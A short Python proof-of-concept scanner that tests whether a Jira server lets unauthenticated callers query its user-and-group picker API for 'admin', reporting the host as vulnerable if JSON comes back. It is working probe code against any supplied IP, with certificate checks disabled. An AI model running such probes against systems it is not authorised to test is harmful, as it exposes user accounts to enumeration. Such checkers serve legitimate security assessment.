import json 
import requests
import sys
import argparse
from json_parse import Jsonparse



class jira(object):
    def __init__ (self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    def run(self):
        if self.port == "443":
            url = "https://"+self.ip
        else:
            url = "http://"+self.ip+":"+self.port
        try:
            tg = url+"/rest/api/latest/groupuserpicker?query=admin"
            r = requests.get(tg,timeout = self.level,verify=False)
            if r.status_code !=200:
                tg = url+"/jira/rest/api/latest/groupuserpicker?query=admin"
                r = requests.get(tg,timeout = self.level,verify=False)
        except:
            print("[*] connect refuses")
            exit(-1)
        try:
            json.loads(r.text, encoding='utf-8')
        except ValueError:
            print("[*] not vulnerable")
            exit(1)
        print("[*] is vulnerable")
        exit(233)


if __name__ == '__main__':
    print("[*] start checking")
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout3']
    port = sys.argv[3]
    Scanner = jira(targetip, port, timeout)
    Scanner.run()
